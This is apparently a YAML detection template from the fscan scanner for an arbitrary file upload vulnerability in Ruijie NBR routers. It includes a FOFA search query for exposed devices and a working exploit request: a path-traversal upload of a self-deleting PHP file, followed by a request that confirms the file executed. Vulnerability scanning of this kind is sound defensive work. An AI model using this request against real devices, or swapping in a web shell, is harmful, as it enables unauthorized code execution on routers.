mirror of
https://github.com/shadow1ng/fscan.git
synced 2026-09-22 03:10:42 +08:00
39 lines
1.2 KiB
YAML
39 lines
1.2 KiB
YAML
id: ruijie-nbr-fileupload
|
|
|
|
info:
|
|
name: 锐捷 NBR 路由器 fileupload.php 任意文件上传漏洞
|
|
author: peiqi
|
|
severity: high
|
|
verified: true
|
|
description: |
|
|
锐捷 NBR 路由器 fileupload.php文件存在任意文件上传漏洞,攻击者通过漏洞可以上传任意文件到服务器获取服务器权限
|
|
FOFA: app="Ruijie-NBR路由器"
|
|
reference:
|
|
- https://peiqi.wgpsec.org/wiki/iot/锐捷/锐捷%20NBR%20路由器%20fileupload.php%20任意文件上传漏洞.html
|
|
tags: ruijie,fileupload
|
|
created: 2023/08/10
|
|
|
|
set:
|
|
r1: randomLowercase(6)
|
|
r2: md5(r1)
|
|
rules:
|
|
r0:
|
|
request:
|
|
method: POST
|
|
path: /ddi/server/fileupload.php?uploadDir=../../321&name={{r1}}.php
|
|
headers:
|
|
Accept: text/plain, */*; q=0.01
|
|
Content-Disposition: form-data; name="file"; filename="111.php"
|
|
Content-Type: image/jpeg
|
|
body: |
|
|
<?php echo md5("{{r1}}");unlink(__FILE__);?>
|
|
expression: |
|
|
response.status == 200 &&
|
|
response.body.bcontains(b'"jsonrpc"')
|
|
r1:
|
|
request:
|
|
method: GET
|
|
path: /321/{{r1}}.php
|
|
expression: response.status == 200 && response.body.bcontains(bytes(r2))
|
|
expression: r0() && r1()
|